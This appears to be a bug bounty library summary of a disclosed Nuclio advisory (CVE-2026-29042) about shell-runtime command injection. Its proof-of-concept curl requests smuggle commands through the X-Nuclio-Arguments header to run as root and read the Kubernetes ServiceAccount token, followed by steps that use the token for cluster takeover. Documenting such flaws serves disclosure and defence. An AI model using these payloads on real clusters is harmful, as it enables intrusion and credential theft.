# Nuclio Shell Runtime Command Injection Leading to Privilege Escalation

Nuclio Shell Runtime concatenates the unvalidated X-Nuclio-Arguments header into `sh -c`, letting any invoker run root commands and steal a cluster-admin ServiceAccount token.

- Payout: Research
- Severity: high
- Program: Nuclio
- Found by: b0b0haha, j311yl0v3u
- Disclosed: 2026-03-04
- CVE: CVE-2026-29042
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-95fj-3w7g-4r27
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-95fj-3w7g-4r27
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:command-injection vuln:rce

**Target:** Nuclio Shell Runtime function HTTP endpoint (pkg/processor/runtime/shell)
**Root cause:** getCommandArguments splits the X-Nuclio-Arguments header on spaces with no validation, and the resulting argv is joined and executed via `sh -c`, so shell metacharacters in the header are interpreted.
**Steps:**
1. Deploy a shell-runtime function (`nuctl deploy shell-func --runtime shell ...`) in a Kind cluster with Nuclio 1.15.17.
2. Send `curl -s -X POST -H "x-nuclio-arguments: ; id ; whoami ;" -d "test" http://nuclio-shell-func:8080`; output shows `uid=0(root)`.
3. Inject `; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;` in the same header to exfiltrate the mounted ServiceAccount token.
4. Use the token with `kubectl auth can-i --list --token=$TOKEN`; wildcard `*.*` verbs confirm cluster-admin.
5. Alternatively inject with backticks or `$(cat ...)` in the header.
**How found:** Code review of the shell runtime: noticed getCommandArguments returns strings.Split of the raw header with no sanitization, then traced the argv into `sh -c` join, confirming metacharacter interpretation.
**Exploitation:** Any principal with function invocation permission POSTs to the function endpoint with a crafted X-Nuclio-Arguments header; the payload runs as root inside the function pod, reads the mounted ServiceAccount token, and the attacker authenticates to the Kubernetes API with cluster-admin rights to read all secrets and create/modify resources.
**Escalation:** Root in the function container → theft of the default ServiceAccount token (cluster-admin bound) → full cluster takeover across namespaces.
**Insight:** Serverless/FaaS runtimes that expose per-invocation argument headers and build `sh -c` command lines are injection sinks; also check the ServiceAccount bound to function pods, since default SA with cluster-admin turns container RCE into cluster takeover.

## Proof of concept (copied exactly from the original report)

**curl request injecting id/whoami via X-Nuclio-Arguments**

```
kubectl run -n nuclio exploit-test \
  --image=curlimages/curl:latest \
  --rm -i --restart=Never -- \
  curl -s -X POST \
  -H "Content-Type: text/plain" \
  -H "x-nuclio-arguments: ; id ; whoami ;" \
  -d "test" \
  http://nuclio-shell-func:8080
```

**curl request reading ServiceAccount token**

```
kubectl run -n nuclio token-extract \
  --image=curlimages/curl:latest \
  --rm -i --restart=Never -- \
  curl -s -X POST \
  -H "Content-Type: text/plain" \
  -H "x-nuclio-arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;" \
  -d "test" \
  http://nuclio-shell-func:8080
```

**Backtick and $() injection curl payloads**

```
curl -s -X POST \
  -H "Content-Type: text/plain" \
  -H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \
  -d "test" \
  http://nuclio-shell-func:8080
```

